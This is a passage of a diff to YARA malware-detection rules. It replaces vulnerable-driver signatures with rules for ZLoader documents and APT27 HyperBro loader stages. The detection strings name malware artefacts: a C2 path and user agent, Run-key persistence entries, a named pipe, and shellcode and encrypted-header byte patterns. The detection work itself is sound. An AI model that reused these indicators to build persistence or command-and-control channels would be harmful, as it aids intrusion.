+		$b = "4JUdGzvrMFDWrUUwY3toJATSeNwjn54LkCnKBPRzDuhzi5vSepHfUckJNxRL2gjkNrSqtCoRUrEDAgRwsQvVCjZbRy5YeFCqgoUMnzumvS" ascii
+		$c = "barjuok.ryongnamsan.edu.kp" wide ascii
+		$d = "C:\\SoftwaresInstall\\soft" wide ascii
+		$e = "C:\\Windows\\Sys64\\intelservice.exe" wide ascii
+		$f = "C:\\Windows\\Sys64\\updater.exe" wide ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <400KB and all of them
+		uint16(0)==0x5a4d and filesize <30KB and 1 of them
 }
-rule SIGNATURE_BASE_PUA_VULN_Driver_Huawei_Hwosec_Huaweimatebook_B179 : FILE
+rule SIGNATURE_BASE_MAL_DOC_Zloader_Oct20_1 : FILE
 {
 	meta:
-		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - HwOs2Ec7x64.sys"
-		author = "Florian Roth"
-		id = "7fdaa5bb-7874-51cc-90a0-d718b5ad7ac8"
-		date = "2023-06-14"
+		description = "Detects weaponized ZLoader documents"
+		author = "Florian Roth (Nextron Systems)"
+		id = "34145746-9733-5dd9-9dcf-99e3a3ceee4f"
+		date = "2020-10-10"
 		modified = "2023-12-05"
-		reference = "https://github.com/magicsword-io/LOLDrivers"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/yara-rules_vuln_drivers_strict.yar#L3773-L3794"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "b179e1ab6dc0b1aee783adbcad4ad6bb75a8a64cb798f30c0dd2ee8aaf43e6de"
-		hash = "bb1135b51acca8348d285dc5461d10e8f57260e7d0c8cc4a092734d53fc40cbc"
-		logic_hash = "6c35f9cdd6d48a5804a95bbfd15564e1b9d145b121a72df7fe345ede0c2eed26"
-		score = 40
+		reference = "https://twitter.com/JohnLaTwC/status/1314602421977452544"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/crime_zloader_maldocs.yar#L2-L22"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "6f546a860361d3caff99c282465dbbd1880460c7491a1b5ad065c1b5d91e5d49"
+		score = 75
 		quality = 85
 		tags = "FILE"
+		hash1 = "668ca7ede54664360b0a44d5e19e76beb92c19659a8dec0e7085d05528df42b5"
+		hash2 = "a2ffabbb1b5a124f462a51fee41221081345ec084d768ffe1b1ef72d555eb0a0"
+		hash3 = "d268af19db475893a3d19f76be30bb063ab2ca188d1b5a70e51d260105b201da"
 
 	strings:
-		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00480077004f0073003200450063 }
-		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004800750061007700650069 }
-		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0030002e0030002e0031 }
-		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0030002e0030002e0031 }
-		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00480077004f0073003200450063 }
-		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0048007500610077006500690020004d0061007400650042006f006f006b }
-		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00480077004f0073003200450063002e007300790073 }
-		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000310036 }
+		$sc1 = { 78 4E FC 04 AB 6B 17 E2 33 E3 49 62 50 69 BB 60
+               31 00 1E 00 02 4B BA E2 D8 E3 92 22 1E 69 96 20
+               98 }
+		$sc2 = { 6B 9E E2 36 E3 69 62 72 69 3A 60 55 6E }
+		$sc3 = { 3E 69 76 60 59 6E 34 FB 87 6B 75 }
 
 	condition:
-		uint16(0)==0x5a4d and filesize <100KB and all of them
+		uint16(0)==0xcfd0 and filesize <40KB and filesize >30KB and all of them
 }
-rule SIGNATURE_BASE_PUA_VULN_Driver_Hpinc_Hpportioxsys_Hpportio_A468 : FILE
+import "pe"
+
+rule SIGNATURE_BASE_APT_RU_APT27_Hyperbro_Vftrace_Loader_Jan22_1 : FILE
 {
 	meta:
-		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - HpPortIox64.sys"
-		author = "Florian Roth"
-		id = "ee20509d-fdf5-5c5a-8f49-5392c6f015ad"
-		date = "2023-06-14"
+		description = "Yara rule to detect first Hyperbro Loader Stage, often called vftrace.dll. Detects decoding function."
+		author = "Bundesamt fuer Verfassungsschutz (modified by Florian Roth)"
+		id = "b049e163-2694-5fb9-a3a3-98cc77bcd0ca"
+		date = "2022-01-14"
 		modified = "2023-12-05"
-		reference = "https://github.com/magicsword-io/LOLDrivers"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/yara-rules_vuln_drivers_strict.yar#L3797-L3816"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "a4680fabf606d6580893434e81c130ff7ec9467a15e6534692443465f264d3c9"
-		logic_hash = "a1e7828c2e39afe4279e6c9b5d34263478919336ed6b7d01bb45b1fdb2032878"
-		score = 40
+		reference = "https://www.verfassungsschutz.de/SharedDocs/publikationen/DE/cyberabwehr/2022-01-bfv-cyber-brief.pdf"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_apt27_hyperbro.yar#L3-L19"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "d8785ea937891636bea5ed8128de44fa6084a1a48800c1586739c5ca9e4c43bd"
+		score = 75
 		quality = 85
 		tags = "FILE"
+		sharing = "TLP:WHITE"
+		hash1 = "333B52C2CFAC56B86EE9D54AEF4F0FF4144528917BC1AA1FE1613EFC2318339A"
 
 	strings:
-		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004800700050006f007200740049006f }
-		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0048005000200049006e0063002e }
-		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0030002e0030002e0030 }
-		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0030002e0030002e0030 }
-		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]004800700050006f007200740049006f007800360034002e007300790073 }
-		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004800700050006f007200740049006f }
-		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]004800700050006f007200740049006f007800360034002e007300790073 }
+		$decoder_routine = { 8A ?? 41 10 00 00 8B ?? 28 ?? ?? 4? 3B ?? 72 ?? }
 
 	condition:
-		uint16(0)==0x5a4d and filesize <100KB and all of them
+		uint16(0)==0x5a4d and filesize <5MB and $decoder_routine and pe.exports("D_C_Support_SetD_File")
 }
-rule SIGNATURE_BASE_PUA_VULN_Driver_Zemanaltd_Zam_7661 : FILE
+import "pe"
+
+rule SIGNATURE_BASE_APT_CN_APT27_Compromised_Certficate_Jan22_1
 {
 	meta:
-		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - zam64.sys"
-		author = "Florian Roth"
-		id = "cf60dd6e-f13e-5498-b3e1-b28c4b469f10"
-		date = "2023-06-14"
+		description = "Detects compromised certifcates used by APT27 malware"
+		author = "Florian Roth (Nextron Systems)"
+		id = "f2f015af-219d-51ab-9529-01687a879ebb"
+		date = "2022-01-29"
 		modified = "2023-12-05"
-		reference = "https://github.com/magicsword-io/LOLDrivers"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/yara-rules_vuln_drivers_strict.yar#L3819-L3836"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "76614f2e372f33100a8d92bf372cdbc1e183930ca747eed0b0cf2501293b990a"
-		logic_hash = "8428303996166eb968534f192a1e15cc374ed412b8915b41a323fcf6d8bd238c"
-		score = 40
+		reference = "https://www.verfassungsschutz.de/SharedDocs/publikationen/DE/cyberabwehr/2022-01-bfv-cyber-brief.pdf"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_apt27_hyperbro.yar#L21-L34"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "94a40d55936fc341eaba5e1accc8bfe3a401114298e7a3cc4d5c64af36eadf9e"
+		score = 80
 		quality = 85
-		tags = "FILE"
-
-	strings:
-		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005a0041004d }
-		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005a0065006d0061006e00610020004c00740064002e }
-		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0032002e00310038002e003200320039 }
-		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005a0041004d }
-		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]005a0065006d0061006e00610020004c00740064002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e }
+		tags = ""
 
 	condition:
-		uint16(0)==0x5a4d and filesize <200KB and all of them
+		for any i in (0..pe.number_of_signatures) : (pe.signatures[i].issuer contains "DigiCert SHA2 Assured ID Code Signing CA" and pe.signatures[i].serial=="08:68:70:51:50:f1:cf:c1:fc:c3:fc:91:a4:49:49:a6")
 }
-rule SIGNATURE_BASE_PUA_VULN_Driver_Gigabytetechnologycoltd_Gdrvsys_Gigabytesoftwaredriver_8B92 : FILE
+import "pe"
+
+rule SIGNATURE_BASE_Hvs_APT27_Hyperbro_Decrypted_Stage2 : FILE
 {
 	meta:
-		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - gdrv.sys"
-		author = "Florian Roth"
-		id = "158dd78f-3665-59d6-8528-f4489791d55e"
-		date = "2023-06-14"
+		description = "HyperBro Stage 2 and compressed Stage 3 detection"
+		author = "Moritz Oettle"
+		id = "039e5d41-eadb-5c53-82cd-20ffd4105326"
+		date = "2022-02-07"
 		modified = "2023-12-05"
-		reference = "https://github.com/magicsword-io/LOLDrivers"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/yara-rules_vuln_drivers_strict.yar#L3839-L3859"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "8b92cdb91a2e2fab3881d54f5862e723826b759749f837a11c9e9d85d52095a2"
-		logic_hash = "565bd93231c1cffbb52efc9fedae7c41593ba93a2540dadf199806793359f67d"
-		score = 40
+		reference = "https://www.hvs-consulting.de/en/threat-intelligence-report-emissary-panda-apt27"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_apt27_hyperbro.yar#L35-L57"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "6eb56c4a92e89977e536ccc3c70170062aca072c6981b40aeea184ea2ca461a6"
+		score = 75
 		quality = 85
 		tags = "FILE"
+		hash1 = "fc5a58bf0fce9cb96f35ee76842ff17816fe302e3164bc7c6a5ef46f6eff67ed"
 
 	strings:
-		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0047004900470041002d00420059005400450020004e006f006e0050006e00500020004400720069007600650072 }
-		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0047004900470041002d004200590054004500200054004500430048004e004f004c004f0047005900200043004f002e002c0020004c00540044002e }
-		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0030002e0030002e0031 }
-		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0030002e0030002e0031 }
-		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0067006400720076002e007300790073 }
-		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0047004900470041002d004200590054004500200053006f0066007400770061007200650020006400720069007600650072 }
-		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0067006400720076002e007300790073 }
-		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000310037 }
+		$lznt1_compressed_pe_header_small = { FC B9 00 4D 5A 90 }
+		$lznt1_compressed_pe_header_large_1 = { FC B9 00 4D 5A 90 00 03 00 00 00 82 04 00 30 FF FF 00 }
+		$lznt1_compressed_pe_header_large_2 = { 00 b8 00 38 0d 01 00 40 04 38 19 00 10 01 00 00 }
+		$lznt1_compressed_pe_header_large_3 = { 00 0e 1f ba 0e 00 b4 09 cd 00 21 b8 01 4c cd 21 }
+		$lznt1_compressed_pe_header_large_4 = { 54 68 00 69 73 20 70 72 6f 67 72 00 61 6d 20 63 }
+		$lznt1_compressed_pe_header_large_5 = { 61 6e 6e 6f 00 74 20 62 65 20 72 75 6e 00 20 69 }
+		$lznt1_compressed_pe_header_large_6 = { 6e 20 44 4f 53 20 00 6d 6f 64 65 2e 0d 0d 0a 02 }
 
 	condition:
-		uint16(0)==0x5a4d and filesize <100KB and all of them
+		filesize <200KB and ($lznt1_compressed_pe_header_small at 0x9ce) or ( all of ($lznt1_compressed_pe_header_large_*))
 }
-rule SIGNATURE_BASE_PUA_VULN_Driver_Sisoftware_Sandra_Sisoftwaresandra_881B : FILE
-{
-	meta:
-		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - SANDRA"
-		author = "Florian Roth"
-		id = "926f0aef-ede3-554e-874d-7b617efbf2bd"
-		date = "2023-06-14"
-		modified = "2023-12-05"
-		reference = "https://github.com/magicsword-io/LOLDrivers"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/yara-rules_vuln_drivers_strict.yar#L3862-L3882"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "881bca6dc2dafe1ae18aeb59216af939a3ac37248c13ed42ad0e1048a3855461"
-		logic_hash = "0d1427a94c21e7055a8d3d1e23e0ee3c513030530c15778eed40283979dba6f9"
-		score = 40
+import "pe"
+
+rule SIGNATURE_BASE_Hvs_APT27_Hyperbro_Stage3 : FILE
+{
+	meta:
+		description = "HyperBro Stage 3 detection - also tested in memory"
+		author = "Markus Poelloth"
+		id = "b4002777-f129-5177-a8f1-690012a207fa"
+		date = "2022-02-07"
+		modified = "2023-01-07"
+		reference = "https://www.hvs-consulting.de/en/threat-intelligence-report-emissary-panda-apt27"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_apt27_hyperbro.yar#L59-L84"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "49c1e70d63d93244b4b44525f2b30c05512b5f3a30d6d7c43c9366a95c84e79b"
+		score = 50
 		quality = 85
 		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "624e85bd669b97bc55ed5c5ea5f6082a1d4900d235a5d2e2a5683a04e36213e8"
 
 	strings:
-		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00530061006e006400720061002000440065007600690063006500200044007200690076006500720020002800570069006e003600340020007800360034002900280055006e00690063006f006400650029 }
-		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005300690053006f006600740077006100720065 }
-		$ = { 00460069006c006500560065007200730069006f006e[1-8]00310030002e0033002e0031002e00310020006200750069006c0074002000620079003a002000570069006e00440044004b }
-		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00310030002e0033002e0031002e0031 }
-		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00530041004e004400520041 }
-		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005300690053006f006600740077006100720065002000530061006e006400720061 }
-		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00530041004e004400520041 }
-		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000a90020005300690053006f0066007400770061007200650020004c0074006400200031003900390035002d0032003000300035002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e }
+		$s1 = "\\cmd.exe /A" wide
+		$s2 = "vftrace.dll" fullword wide
+		$s3 = "msmpeng.exe" fullword wide
+		$s4 = "\\\\.\\pipe\\testpipe" fullword wide
+		$s5 = "thumb.dat" fullword wide
+		$g1 = "%s\\%d.exe" fullword wide
+		$g2 = "https://%s:%d/api/v2/ajax" fullword wide
+		$g3 = " -k networkservice" fullword wide
+		$g4 = " -k localservice" fullword wide
 
 	condition:
-		uint16(0)==0x5a4d and filesize <100KB and all of them
+		uint16(0)==0x5a4d and filesize <300KB and ((4 of ($s*)) or (4 of ($g*)))
 }
-rule SIGNATURE_BASE_PUA_VULN_Driver_Trendmicroinc_Tmcommsys_Trendmicroeyes_5192 : FILE
+import "pe"
+
+rule SIGNATURE_BASE_Hvs_APT27_Hyperbro_Stage3_C2
 {
 	meta:
-		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - TmComm.sys"
-		author = "Florian Roth"
-		id = "63cc2959-9cfa-575d-894f-fbb63349a4e7"
-		date = "2023-06-14"
+		description = "HyperBro Stage 3 C2 path and user agent detection - also tested in memory"
+		author = "Marc Stroebel"
+		id = "d1fe03b9-440c-5127-9572-dddcd5c9966b"
+		date = "2022-02-07"
 		modified = "2023-12-05"
-		reference = "https://github.com/magicsword-io/LOLDrivers"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/yara-rules_vuln_drivers_strict.yar#L3885-L3905"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "5192ec4501d0fe0b1c8f7bf9b778f7524a7a70a26bbbb66e5dab8480f6fdbb8b"
-		logic_hash = "39194a4e7085e17fef079075949360155d6ce279e3bc1a92f1b3a12b70e7f15c"
-		score = 40
-		quality = 85
-		tags = "FILE"
+		reference = "https://www.hvs-consulting.de/en/threat-intelligence-report-emissary-panda-apt27"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_apt27_hyperbro.yar#L86-L100"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "676df1eaa782c6b876df138a0ddddc3c63e277b84d4414b044314ee219674420"
+		score = 50
+		quality = 81
+		tags = ""
+		hash1 = "624e85bd669b97bc55ed5c5ea5f6082a1d4900d235a5d2e2a5683a04e36213e8"
 
 	strings:
-		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005400720065006e0064004d006900630072006f00200043006f006d006d006f006e0020004d006f00640075006c0065 }
-		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200049006e0063002e }
-		$ = { 00460069006c006500560065007200730069006f006e[1-8]0036002e00370030002e0030002e0031003000370033 }
-		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0036002e00370030 }
-		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 }
-		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200045007900650073 }
-		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 }
-		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f00700079007200690067006800740020002800430029002000320030003100350020005400720065006e00640020004d006900630072006f00200049006e0063006f00720070006f00720061007400650064002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e }
+		$s1 = "api/v2/ajax" ascii wide nocase
+		$s2 = "Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.116 Safari/537.36" ascii wide nocase
 
 	condition:
-		uint16(0)==0x5a4d and filesize <400KB and all of them
+		all of them
 }
-rule SIGNATURE_BASE_PUA_VULN_Driver_Trendmicroinc_Tmcommsys_Trendmicroeyes_80A5 : FILE
+import "pe"
+
+rule SIGNATURE_BASE_Hvs_APT27_Hyperbro_Stage3_Persistence
 {
 	meta:
-		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - TmComm.sys"
-		author = "Florian Roth"
-		id = "80e3827b-44e7-5b59-a7db-c7daf0e38664"
-		date = "2023-06-14"
+		description = "HyperBro Stage 3 registry keys for persistence"
+		author = "Marko Dorfhuber"
+		id = "2bb1d28b-5fc4-5f0b-b546-c8b8192b0d48"
+		date = "2022-02-07"
 		modified = "2023-12-05"
-		reference = "https://github.com/magicsword-io/LOLDrivers"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/yara-rules_vuln_drivers_strict.yar#L3908-L3928"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "80a59ca71fc20961ccafc0686051e86ae4afbbd4578cb26ad4570b9207651085"
-		logic_hash = "f736ac96f1efde446400aaa49fba7cc84a0a10b3425561f67811da86dbee14a8"
-		score = 40
+		reference = "https://www.hvs-consulting.de/en/threat-intelligence-report-emissary-panda-apt27"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_apt27_hyperbro.yar#L103-L117"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "db4b7be2bafe29b5e7c81a90e17a660cf73cff1c2e8edd04a9421daba09e3e0e"
+		score = 75
 		quality = 85
-		tags = "FILE"
+		tags = ""
+		hash1 = "624e85bd669b97bc55ed5c5ea5f6082a1d4900d235a5d2e2a5683a04e36213e8"
 
 	strings:
-		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005400720065006e0064004d006900630072006f00200043006f006d006d006f006e0020004d006f00640075006c0065 }
-		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200049006e0063002e }
-		$ = { 00460069006c006500560065007200730069006f006e[1-8]0035002e00350030002e0030002e0031003000390031 }
-		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0035002e00350030 }
-		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 }
-		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200045007900650073 }
-		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 }
-		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f00700079007200690067006800740020002800430029002000320030003100330020005400720065006e00640020004d006900630072006f00200049006e0063006f00720070006f00720061007400650064002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e }
+		$ = "SOFTWARE\\WOW6432Node\\Microsoft\\config_" ascii
+		$ = "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\windefenders" ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <300KB and all of them
+		1 of them
 }
-rule SIGNATURE_BASE_PUA_VULN_Driver_Microfocus_Microfocusxtier_5351 : FILE
+import "pe"
+
+rule SIGNATURE_BASE_Hvs_APT27_Hyperbro_Encrypted_Stage2 : FILE
 {
 	meta:
-		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - nscm.sys"
-		author = "Florian Roth"
-		id = "e2d580c9-79e6-53f1-ab4a-77e2715b6f91"
-		date = "2023-06-14"
+		description = "HyperBro Encrypted Stage 2 detection. Looks for all possible one byte shifts of the lznt1 compressed PE header"
+		author = "Moritz Oettle"
+		id = "fa4fe057-4c3f-5785-a8d3-588398360996"
+		date = "2022-02-07"
 		modified = "2023-12-05"
-		reference = "https://github.com/magicsword-io/LOLDrivers"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/yara-rules_vuln_drivers_strict.yar#L3931-L3950"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "5351c81b4ec5a0d79c39d24bac7600d10eac30c13546fde43d23636b3f421e7c"
-		logic_hash = "efbf3fd36c3ca5c2b95796cdaefb175ad1957866649e73366a1d6810cbcb5e81"
-		score = 40
-		quality = 85
+		reference = "https://www.hvs-consulting.de/en/threat-intelligence-report-emissary-panda-apt27"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_apt27_hyperbro.yar#L120-L389"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "c3b07bdb19730fc9c8cca8aa7581a32eb80e3dbc5c4d366fbb2f9966081c1a21"
+		score = 75
+		quality = 60
 		tags = "FILE"
+		hash1 = "fc5a58bf0fce9cb96f35ee76842ff17816fe302e3164bc7c6a5ef46f6eff67ed"
 
 	strings:
-		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0058005400690065007200200053006500630075007200690074007900200043006f006e00740065007800740020004d0061006e0061006700650072 }
-		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004d006900630072006f00200046006f006300750073 }
-		$ = { 00460069006c006500560065007200730069006f006e[1-8]0033002e0031002e00310032002e0030 }
-		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0033002e0031002e00310032 }
-		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004d006900630072006f00200046006f006300750073002000580054006900650072 }
-		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006e00730063006d002e007300790073 }
-		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]00280043002900200043006f007000790072006900670068007400200032003000300030002d0032003000310037002c0020004d006900630072006f00200046006f006300750073002e00200041006c006c0020005200690067006800740073002000520065007300650072007600650064002e }
+		$encrypted_pe_header_shift_0 = { fc b9 00 4d 5a 90 00 03 00 00 00 82 04 00 30 ff ff 00 }
+		$encrypted_pe_header_shift_1 = { fd ba 01 4e 5b 91 01 04 01 01 01 83 05 01 31 00 00 01 }
+		$encrypted_pe_header_shift_2 = { fe bb 02 4f 5c 92 02 05 02 02 02 84 06 02 32 01 01 02 }
+		$encrypted_pe_header_shift_3 = { ff bc 03 50 5d 93 03 06 03 03 03 85 07 03 33 02 02 03 }
+		$encrypted_pe_header_shift_4 = { 00 bd 04 51 5e 94 04 07 04 04 04 86 08 04 34 03 03 04 }
+		$encrypted_pe_header_shift_5 = { 01 be 05 52 5f 95 05 08 05 05 05 87 09 05 35 04 04 05 }
+		$encrypted_pe_header_shift_6 = { 02 bf 06 53 60 96 06 09 06 06 06 88 0a 06 36 05 05 06 }
+		$encrypted_pe_header_shift_7 = { 03 c0 07 54 61 97 07 0a 07 07 07 89 0b 07 37 06 06 07 }
+		$encrypted_pe_header_shift_8 = { 04 c1 08 55 62 98 08 0b 08 08 08 8a 0c 08 38 07 07 08 }
+		$encrypted_pe_header_shift_9 = { 05 c2 09 56 63 99 09 0c 09 09 09 8b 0d 09 39 08 08 09 }
+		$encrypted_pe_header_shift_10 = { 06 c3 0a 57 64 9a 0a 0d 0a 0a 0a 8c 0e 0a 3a 09 09 0a }
+		$encrypted_pe_header_shift_11 = { 07 c4 0b 58 65 9b 0b 0e 0b 0b 0b 8d 0f 0b 3b 0a 0a 0b }
+		$encrypted_pe_header_shift_12 = { 08 c5 0c 59 66 9c 0c 0f 0c 0c 0c 8e 10 0c 3c 0b 0b 0c }
+		$encrypted_pe_header_shift_13 = { 09 c6 0d 5a 67 9d 0d 10 0d 0d 0d 8f 11 0d 3d 0c 0c 0d }
+		$encrypted_pe_header_shift_14 = { 0a c7 0e 5b 68 9e 0e 11 0e 0e 0e 90 12 0e 3e 0d 0d 0e }
+		$encrypted_pe_header_shift_15 = { 0b c8 0f 5c 69 9f 0f 12 0f 0f 0f 91 13 0f 3f 0e 0e 0f }
+		$encrypted_pe_header_shift_16 = { 0c c9 10 5d 6a a0 10 13 10 10 10 92 14 10 40 0f 0f 10 }
+		$encrypted_pe_header_shift_17 = { 0d ca 11 5e 6b a1 11 14 11 11 11 93 15 11 41 10 10 11 }
+		$encrypted_pe_header_shift_18 = { 0e cb 12 5f 6c a2 12 15 12 12 12 94 16 12 42 11 11 12 }
+		$encrypted_pe_header_shift_19 = { 0f cc 13 60 6d a3 13 16 13 13 13 95 17 13 43 12 12 13 }
+		$encrypted_pe_header_shift_20 = { 10 cd 14 61 6e a4 14 17 14 14 14 96 18 14 44 13 13 14 }
